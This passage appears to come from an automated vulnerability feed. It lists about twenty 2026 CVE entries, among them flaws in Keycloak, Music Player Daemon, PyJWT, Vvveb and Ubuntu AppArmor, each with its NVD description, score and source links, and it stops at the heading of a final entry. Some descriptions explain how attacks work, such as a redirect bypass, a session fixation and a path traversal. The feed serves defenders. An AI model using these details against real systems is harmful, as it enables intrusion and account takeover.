Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores.
https://kevwire.com/record/CVE-2026-46407
Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. (May 15, 2026).
Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.3, the backend admin/auth-token endpoint allows an authenticated administrator to load another administrator's REST API token list by supplying that user's admin_id. This can disclose sensitive API tokens belonging to other administrators. This vulnerability is fixed in 1.0.8.3.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46407).
Sources:
NVD CVE-2026-46407: https://nvd.nist.gov/vuln/detail/CVE-2026-46407
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.3, the backend admin/auth-token endpoint allows an authenticated administrator to load another administrator's REST API token list by supplying that user's admin_id. This can disclose sensitive API tokens belonging to other administrators. This vulnerability is fixed in 1.0.8.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### deepobj provides get, set, delete deep objects in javascript.
https://kevwire.com/record/CVE-2026-46509
deepobj provides get, set, delete deep objects in javascript. (May 28, 2026).
deepobj provides get, set, delete deep objects in javascript. Prior to 1.0.3, prototype pollution is possible when property paths contain __proto__/constructor/prototype. The property path must not be exposed as user input. This vulnerability is fixed in 1.0.3.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46509).
Sources:
NVD CVE-2026-46509: https://nvd.nist.gov/vuln/detail/CVE-2026-46509
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
deepobj provides get, set, delete deep objects in javascript. Prior to 1.0.3, prototype pollution is possible when property paths contain __proto__/constructor/prototype. The property path must not be exposed as user input. This vulnerability is fixed in 1.0.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections.
https://kevwire.com/record/CVE-2026-46720
Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections. (May 17, 2026).
Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections.

The metric names and set values were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46720).
Sources:
NVD CVE-2026-46720: https://nvd.nist.gov/vuln/detail/CVE-2026-46720
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections.

The metric names and set values were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The extension passes an attacker-controlled cookie directly to PHP's unserialize() without safely processing the input.
https://kevwire.com/record/CVE-2026-46725
The extension passes an attacker-controlled cookie directly to PHP's unserialize() without safely processing the input. (May 19, 2026).
The extension passes an attacker-controlled cookie directly to PHP's unserialize() without safely processing the input. A remote, unauthenticated attacker can supply a crafted serialized payload to trigger PHP Object Injection, leading to Remote Code Execution on the TYPO3 server. Exploitation requires the content element to be configured with "Persistent Mode: Static" in the plugin settings.
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46725).
Sources:
NVD CVE-2026-46725: https://nvd.nist.gov/vuln/detail/CVE-2026-46725
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
The extension passes an attacker-controlled cookie directly to PHP's unserialize() without safely processing the input. A remote, unauthenticated attacker can supply a crafted serialized payload to trigger PHP Object Injection, leading to Remote Code Execution on the TYPO3 server. Exploitation requires the content element to be configured with "Persistent Mode: Static" in the plugin settings.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Das U-Boot before 2026.04 allows FIT (Flat Image Tree) signature verification bypass because hashed-nodes is omitted from a hash.
https://kevwire.com/record/CVE-2026-46728
Das U-Boot before 2026.04 allows FIT (Flat Image Tree) signature verification bypass because hashed-nodes is omitted from a hash. (May 16, 2026).
Das U-Boot before 2026.04 allows FIT (Flat Image Tree) signature verification bypass because hashed-nodes is omitted from a hash.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46728).
Sources:
NVD CVE-2026-46728: https://nvd.nist.gov/vuln/detail/CVE-2026-46728
Vendor advisory (via NVD references): https://github.com/barebox/barebox/security/advisories/GHSA-3fvj-q26p-j6h4
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Das U-Boot before 2026.04 allows FIT (Flat Image Tree) signature verification bypass because hashed-nodes is omitted from a hash.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Claude HUD through 0.0.12, patched in commit 234d9aa, contains a command injection vulnerability that allows local attackers to execute arbitrary commands by manipulating the...
https://kevwire.com/record/CVE-2026-47092
Claude HUD through 0.0.12, patched in commit 234d9aa, contains a command injection vulnerability that allows local attackers to execute arbitrary commands by manipulating the... (May 18, 2026).
Claude HUD through 0.0.12, patched in commit 234d9aa, contains a command injection vulnerability that allows local attackers to execute arbitrary commands by manipulating the COMSPEC environment variable. Attackers can set COMSPEC to an arbitrary binary path before claude-hud performs its version check, causing execFile() to execute the attacker-supplied executable with cmd.exe arguments, resulting in arbitrary code execution on Windows systems.
CVSS 7.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-47092).
Sources:
NVD CVE-2026-47092: https://nvd.nist.gov/vuln/detail/CVE-2026-47092
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Claude HUD through 0.0.12, patched in commit 234d9aa, contains a command injection vulnerability that allows local attackers to execute arbitrary commands by manipulating the COMSPEC environment variable. Attackers can set COMSPEC to an arbitrary binary path before claude-hud performs its version check, causing execFile() to execute the attacker-supplied executable with cmd.exe arguments, resulting in arbitrary code execution on Windows systems.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Ubuntu Linux 6.8 contains AppArmor SAUCE patches which fail to acquire a lock when modifying a linked list.
https://kevwire.com/record/CVE-2026-47331
Ubuntu Linux 6.8 contains AppArmor SAUCE patches which fail to acquire a lock when modifying a linked list. (May 28, 2026).
Ubuntu Linux 6.8 contains AppArmor SAUCE patches which fail to acquire a lock when modifying a linked list. An unprivileged local user could trigger the race condition that can lead to a use-after-free (UAF) and, theoretically, arbitrary code execution.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-47331).
Sources:
NVD CVE-2026-47331: https://nvd.nist.gov/vuln/detail/CVE-2026-47331
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Ubuntu Linux 6.8 contains AppArmor SAUCE patches which fail to acquire a lock when modifying a linked list. An unprivileged local user could trigger the race condition that can lead to a use-after-free (UAF) and, theoretically, arbitrary code execution.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Ubuntu Linux 6.8, 6.17 and 7.0 contain AppArmor SAUCE patches which can potentially incorrectly compute the size of an internal buffer, leading to a heap memory out-of-bounds read...
https://kevwire.com/record/CVE-2026-47333
Ubuntu Linux 6.8, 6.17 and 7.0 contain AppArmor SAUCE patches which can potentially incorrectly compute the size of an internal buffer, leading to a heap memory out-of-bounds read... (May 28, 2026).
Ubuntu Linux 6.8, 6.17 and 7.0 contain AppArmor SAUCE patches which can potentially incorrectly compute the size of an internal buffer, leading to a heap memory out-of-bounds read in notification handling code. The bug can be triggered by an unprivileged local user and can result in invalid data being processed by the AppArmor DFA policy engine.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-47333).
Sources:
NVD CVE-2026-47333: https://nvd.nist.gov/vuln/detail/CVE-2026-47333
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Ubuntu Linux 6.8, 6.17 and 7.0 contain AppArmor SAUCE patches which can potentially incorrectly compute the size of an internal buffer, leading to a heap memory out-of-bounds read in notification handling code. The bug can be triggered by an unprivileged local user and can result in invalid data being processed by the AppArmor DFA policy engine.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PyJWT is a JSON Web Token implementation in Python.
https://kevwire.com/record/CVE-2026-48526
PyJWT is a JSON Web Token implementation in Python. (May 28, 2026).
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
CVSS 7.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-48526).
Sources:
NVD CVE-2026-48526: https://nvd.nist.gov/vuln/detail/CVE-2026-48526
Vendor advisory (via NVD references): https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Music Player Daemon (MPD) before version 0.24.11 contains a stack buffer overflow vulnerability in the pcm_unpack_24be function in src/pcm/Pack.cxx that allows unauthenticated...
https://kevwire.com/record/CVE-2026-49127
Music Player Daemon (MPD) before version 0.24.11 contains a stack buffer overflow vulnerability in the pcm_unpack_24be function in src/pcm/Pack.cxx that allows unauthenticated... (May 28, 2026).
Music Player Daemon (MPD) before version 0.24.11 contains a stack buffer overflow vulnerability in the pcm_unpack_24be function in src/pcm/Pack.cxx that allows unauthenticated attackers to corrupt stack memory by triggering an off-by-one write in the PCM decoder plugin. Attackers can issue two MPD commands referencing a malicious HTTP audio source to cause the unpack loop to write 1366 entries into a 1365-entry buffer, overwriting four bytes past the array boundary with three attacker-controlled bytes from an HTTP response body, resulting in daemon termination or potential code execution.
CVSS 8.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-49127).
Sources:
NVD CVE-2026-49127: https://nvd.nist.gov/vuln/detail/CVE-2026-49127
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Music Player Daemon (MPD) before version 0.24.11 contains a stack buffer overflow vulnerability in the pcm_unpack_24be function in src/pcm/Pack.cxx that allows unauthenticated attackers to corrupt stack memory by triggering an off-by-one write in the PCM decoder plugin. Attackers can issue two MPD commands referencing a malicious HTTP audio source to cause the unpack loop to write 1366 entries into a 1365-entry buffer, overwriting four bytes past the array boundary with three attacker-controlled bytes from an HTTP response body, resulting in daemon termination or potential code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Music Player Daemon (MPD) before version 0.24.11 contains a path traversal vulnerability in LocalStorage::MapFSOrThrow and LocalStorage::MapUTF8 within the local storage plugin,...
https://kevwire.com/record/CVE-2026-49128
Music Player Daemon (MPD) before version 0.24.11 contains a path traversal vulnerability in LocalStorage::MapFSOrThrow and LocalStorage::MapUTF8 within the local storage plugin,... (May 28, 2026).
Music Player Daemon (MPD) before version 0.24.11 contains a path traversal vulnerability in LocalStorage::MapFSOrThrow and LocalStorage::MapUTF8 within the local storage plugin, where the on-disk path is constructed by joining the storage root with a user-supplied URI as plain strings without canonicalization, allowing '..' segments to survive into the resolved path and be flattened by the kernel at openat() time. An unauthenticated attacker can exploit this flaw using the listfiles command to enumerate names, sizes, and modification times of arbitrary directories readable by the MPD process, and the albumart command to read image files in any attacker-chosen directory outside the configured music_directory.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-49128).
Sources:
NVD CVE-2026-49128: https://nvd.nist.gov/vuln/detail/CVE-2026-49128
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Music Player Daemon (MPD) before version 0.24.11 contains a path traversal vulnerability in LocalStorage::MapFSOrThrow and LocalStorage::MapUTF8 within the local storage plugin, where the on-disk path is constructed by joining the storage root with a user-supplied URI as plain strings without canonicalization, allowing '..' segments to survive into the resolved path and be flattened by the kernel at openat() time. An unauthenticated attacker can exploit this flaw using the listfiles command to enumerate names, sizes, and modification times of arbitrary directories readable by the MPD process, and the albumart command to read image files in any attacker-chosen directory outside the configured music_directory.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in rtCamp Inc.
https://kevwire.com/record/CVE-2026-66592
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in rtCamp Inc. (Aug 20, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in rtCamp Inc. rtMedia for WordPress, BuddyPress and bbPress buddypress-media allows Blind SQL Injection.This issue affects rtMedia for WordPress, BuddyPress and bbPress: from n/a through 4.7.11.
CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-66592).
Sources:
NVD CVE-2026-66592: https://nvd.nist.gov/vuln/detail/CVE-2026-66592
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in rtCamp Inc. rtMedia for WordPress, BuddyPress and bbPress buddypress-media allows Blind SQL Injection.This issue affects rtMedia for WordPress, BuddyPress and bbPress: from n/a through 4.7.11.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Remote Code Execution vulnerability in P4 (Helix Core) Server's Command-Line Client, prior to the 2025.2 Patch 2, has been fixed to address potential security risks.
https://kevwire.com/record/CVE-2026-6902
A Remote Code Execution vulnerability in P4 (Helix Core) Server's Command-Line Client, prior to the 2025.2 Patch 2, has been fixed to address potential security risks. (May 18, 2026).
A Remote Code Execution vulnerability in P4 (Helix Core) Server's Command-Line Client, prior to the 2025.2 Patch 2, has been fixed to address potential security risks.
CVSS 7.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6902).
Sources:
NVD CVE-2026-6902: https://nvd.nist.gov/vuln/detail/CVE-2026-6902
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A Remote Code Execution vulnerability in P4 (Helix Core) Server's Command-Line Client, prior to the 2025.2 Patch 2, has been fixed to address potential security risks.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in Keycloak. A remote, unauthenticated attacker can send a specially crafted XML input to the Security Assertion Markup Language (SAML) endpoint.
https://kevwire.com/record/CVE-2026-7307
A flaw was found in Keycloak. A remote, unauthenticated attacker can send a specially crafted XML input to the Security Assertion Markup Language (SAML) endpoint. (May 19, 2026).
A flaw was found in Keycloak. A remote, unauthenticated attacker can send a specially crafted XML input to the Security Assertion Markup Language (SAML) endpoint. This malicious input can cause high CPU usage and worker thread starvation, leading to a Denial of Service (DoS) where the server becomes unavailable.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7307).
Sources:
NVD CVE-2026-7307: https://nvd.nist.gov/vuln/detail/CVE-2026-7307
Vendor advisory (via NVD references): https://access.redhat.com/errata/RHSA-2026:19594
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A flaw was found in Keycloak. A remote, unauthenticated attacker can send a specially crafted XML input to the Security Assertion Markup Language (SAML) endpoint. This malicious input can cause high CPU usage and worker thread starvation, leading to a Denial of Service (DoS) where the server becomes unavailable.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Basamak Information Technology Consulting and Organization Trade Ltd.
https://kevwire.com/record/CVE-2026-7498
Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Basamak Information Technology Consulting and Organization Trade Ltd. (May 18, 2026).
Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Basamak Information Technology Consulting and Organization Trade Ltd. Co. DernekWeb allows Stored XSS.

This issue affects DernekWeb: through 30122025.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7498).
Sources:
NVD CVE-2026-7498: https://nvd.nist.gov/vuln/detail/CVE-2026-7498
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Basamak Information Technology Consulting and Organization Trade Ltd. Co. DernekWeb allows Stored XSS.

This issue affects DernekWeb: through 30122025.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in Keycloak's URL validation logic during redirect operations. By crafting a malicious request, an attacker could bypass validation to redirect users to...
https://kevwire.com/record/CVE-2026-7504
A flaw was found in Keycloak's URL validation logic during redirect operations. By crafting a malicious request, an attacker could bypass validation to redirect users to... (May 19, 2026).
A flaw was found in Keycloak's URL validation logic during redirect operations. By crafting a malicious request, an attacker could bypass validation to redirect users to unauthorized URLs, potentially leading to the exposure of sensitive information within the domain or facilitating further attacks. This vulnerability specifically affects Keycloak clients configured with a wildcard (*) in the "Valid Redirect URIs" field and requires user interaction to be successfully exploited.

The issue stems from a discrepancy in how Keycloak and the underlying Java URI implementation handle the user-info component of a URL. If a malicious redirect URL is constructed using multiple @ characters in the user-info section, Java's URI parser fails to extract the user-info, leaving only the raw authority field. Consequently, Keycloak's validation check fails to detect the malformed user-info, falls back to a wildcard comparison, and incorrectly permits the malicious redirect.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7504).
Sources:
NVD CVE-2026-7504: https://nvd.nist.gov/vuln/detail/CVE-2026-7504
Vendor advisory (via NVD references): https://access.redhat.com/errata/RHSA-2026:19594
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A flaw was found in Keycloak's URL validation logic during redirect operations. By crafting a malicious request, an attacker could bypass validation to redirect users to unauthorized URLs, potentially leading to the exposure of sensitive information within the domain or facilitating further attacks. This vulnerability specifically affects Keycloak clients configured with a wildcard (*) in the "Valid Redirect URIs" field and requires user interaction to be successfully exploited.

The issue stems from a discrepancy in how Keycloak and the underlying Java URI implementation handle the user-info component of a URL. If a malicious redirect URL is constructed using multiple @ characters in the user-info section, Java's URI parser fails to extract the user-info, leaving only the raw authority field. Consequently, Keycloak's validation check fails to detect the malformed user-info, falls back to a wildcard comparison, and incorrectly permits the malicious redirect.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A session fixation vulnerability was found in Keycloak's login-actions endpoints.
https://kevwire.com/record/CVE-2026-7507
A session fixation vulnerability was found in Keycloak's login-actions endpoints. (May 19, 2026).
A session fixation vulnerability was found in Keycloak's login-actions endpoints. An unauthenticated attacker could exploit this flaw by pre-creating an authentication session and tricking a victim into visiting a maliciously crafted link. By leveraging the /login-actions/restart endpoint—which processes session handles without adequate CSRF protection or cookie ownership validation—an attacker can reset the authentication flow state. This causes Single Sign-On (SSO) to authenticate the victim transparently upon clicking the link, allowing the attacker to hijack the required-action form without needing the victim's credentials. A successful exploit could lead to complete account takeover, including highly privileged administrative accounts.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7507).
Sources:
NVD CVE-2026-7507: https://nvd.nist.gov/vuln/detail/CVE-2026-7507
Vendor advisory (via NVD references): https://access.redhat.com/errata/RHSA-2026:19594
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A session fixation vulnerability was found in Keycloak's login-actions endpoints. An unauthenticated attacker could exploit this flaw by pre-creating an authentication session and tricking a victim into visiting a maliciously crafted link. By leveraging the /login-actions/restart endpoint—which processes session handles without adequate CSRF protection or cookie ownership validation—an attacker can reset the authentication flow state. This causes Single Sign-On (SSO) to authenticate the victim transparently upon clicking the link, allowing the attacker to hijack the required-action form without needing the victim's credentials. A successful exploit could lead to complete account takeover, including highly privileged administrative accounts.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in Keycloak. A low-privilege user, with knowledge of user credentials and client ID, can bypass a security control intended to disable the implicit flow in OpenID...
https://kevwire.com/record/CVE-2026-7571
A flaw was found in Keycloak. A low-privilege user, with knowledge of user credentials and client ID, can bypass a security control intended to disable the implicit flow in OpenID... (May 19, 2026).
A flaw was found in Keycloak. A low-privilege user, with knowledge of user credentials and client ID, can bypass a security control intended to disable the implicit flow in OpenID Connect (OIDC) clients. By manipulating client data during a session restart, an attacker can obtain an access token that should not be available. This vulnerability can also lead to the exposure of these access tokens in server logs, proxy logs, and HTTP Referrer headers, resulting in sensitive information disclosure.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7571).
Sources:
NVD CVE-2026-7571: https://nvd.nist.gov/vuln/detail/CVE-2026-7571
Vendor advisory (via NVD references): https://access.redhat.com/errata/RHSA-2026:19596
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A flaw was found in Keycloak. A low-privilege user, with knowledge of user credentials and client ID, can bypass a security control intended to disable the implicit flow in OpenID Connect (OIDC) clients. By manipulating client data during a session restart, an attacker can obtain an access token that should not be available. This vulnerability can also lead to the exposure of these access tokens in server logs, proxy logs, and HTTP Referrer headers, resulting in sensitive information disclosure.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Crypt::OpenSSL::PKCS12 versions through 1.94 for Perl have out-of-bounds (OOB) write flaws.
https://kevwire.com/record/CVE-2026-8507
Crypt::OpenSSL::PKCS12 versions through 1.94 for Perl have out-of-bounds (OOB) write flaws. (May 17, 2026).
Crypt::OpenSSL::PKCS12 versions through 1.94 for Perl have out-of-bounds (OOB) write flaws.

When parsing a PKCS12 file, with a >= 1 GiB OCTET STRING (or BIT STRING) attribute on a SAFEBAG, via info() or info_as_hash(), a heap out-of-bounds write would be triggered with remote-code-execution potential (RCE) due to a signed integer overflow in the size calculation passed to Renew().
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8507).
Sources:
NVD CVE-2026-8507: https://nvd.nist.gov/vuln/detail/CVE-2026-8507
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Crypt::OpenSSL::PKCS12 versions through 1.94 for Perl have out-of-bounds (OOB) write flaws.

When parsing a PKCS12 file, with a >= 1 GiB OCTET STRING (or BIT STRING) attribute on a SAFEBAG, via info() or info_as_hash(), a heap out-of-bounds write would be triggered with remote-code-execution potential (RCE) due to a signed integer overflow in the size calculation passed to Renew().

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Due to improper enforcement of authentication rate-limiting on a debug SSH service in Archer C64 v1, the SSH service allows unlimited authentication attempts and uses the same...
https://kevwire.com/record/CVE-2026-8697
Due to improper enforcement of authentication rate-limiting on a debug SSH service in Archer C64 v1, the SSH service allows unlimited authentication attempts and uses the same... (May 28, 2026).
Due to improper enforcement of authentication rate-limiting on a debug SSH service in Archer C64 v1, the SSH service allows unlimited authentication attempts and uses the same credentials as the web interface.  This enables an attacker to brute-force valid credentials via SSH.

Successful exploitation could allow an attacker with adjacent network access to obtain administrative credentials through unrestricted authentication attempts and subsequently gain full administrative access to the device, impacting system confidentiality, integrity, and availability.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8697).
Sources:
NVD CVE-2026-8697: https://nvd.nist.gov/vuln/detail/CVE-2026-8697
Vendor advisory (via NVD references): https://www.tp-link.com/us/support/faq/5105/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Due to improper enforcement of authentication rate-limiting on a debug SSH service in Archer C64 v1, the SSH service allows unlimited authentication attempts and uses the same credentials as the web interface.  This enables an attacker to brute-force valid credentials via SSH.

Successful exploitation could allow an attacker with adjacent network access to obtain administrative credentials through unrestricted authentication attempts and subsequently gain full administrative access to the device, impacting system confidentiality, integrity, and availability.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Crypt::DSA versions before 1.20 for Perl generate seeds using rand.
https://kevwire.com/record/CVE-2026-8700
